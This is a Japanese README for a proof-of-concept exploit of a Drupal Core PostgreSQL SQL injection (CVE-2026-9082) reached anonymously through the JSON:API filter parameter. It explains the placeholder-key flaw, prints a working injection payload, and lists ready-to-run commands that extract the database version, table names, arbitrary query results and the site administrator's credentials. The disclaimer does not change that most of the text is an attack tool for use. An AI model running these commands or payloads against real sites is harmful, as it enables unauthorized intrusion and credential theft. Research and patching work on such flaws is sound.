
Drupal Core PostgreSQL SQLインジェクション PoC - CVE-2026-9082. PostgreSQLをバックエンドとするサイト上でJSON:APIモジュールを介した匿名SQLインジェクションを可能にするDrupal脆弱性の倫理的PoC。
このリポジトリは、CVE-2026-9082(Drupal Core の 非常に深刻な SQLインジェクション脆弱性)に対する倫理的な概念実証(PoC)を提供します。この脆弱性は、Drupal 8.0 から 11.3.9 を実行しているすべての PostgreSQL ベースのサイトに影響を及ぼします。
この欠陥は PostgreSQL エンティティクエリ条件ハンドラに存在し、Drupal 9 以降デフォルトで有効になっている JSON:API モジュールを通じて匿名(未認証)ユーザーが悪用できます。
公式アドバイザリ: SA-CORE-2026-004
Drupal Core には、クエリをサニタイズして SQLインジェクションを防止するためのデータベース抽象化 API が含まれています。PostgreSQL 固有のエンティティクエリ条件クラス(core/modules/pgsql/src/EntityQuery/Condition.php)の欠陥により、攻撃者は JSON:API フィルタパラメータを介して渡されるユーザー制御の配列キーを通じて任意の SQL を注入できます。
translateCondition() メソッドは $condition['value'] を反復処理し、配列キー を使用して PDO プレースホルダ名を構築します:$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_] 文字のみで構成されます。キーに ) が含まれていると、PDO はプレースホルダ名の解析を停止します — それ以降はリテラル SQL としてクエリに注入されます。
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)-- のようなキーを送信することで、IN() 句を閉じて任意の SQL を追加し、:prefix_1 へのバインドは同じリクエスト内の正当なキー 1 によって満たされます。
このツールは、許可されたセキュリティテスト、教育目的、および倫理的な研究のみを対象としています。コンピュータシステムへの不正アクセスは違法です。
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich
# ターゲットが脆弱かどうかをチェック
python3 CVE-2026-9082.py -u https://target.com --check
# PostgreSQL バージョンを取得
python3 CVE-2026-9082.py -u https://target.com --version
# データベース情報を取得(ユーザー名+DB名)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Drupal 管理者の認証情報を取得(uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# データベーステーブル一覧を表示
python3 CVE-2026-9082.py -u https://target.com --tables
# カスタム SQL クエリの抽出
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# ブールベースの抽出を使用(高速だが信頼性は低い)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# 対話モード(引数なし)
python3 CVE-2026-9082.py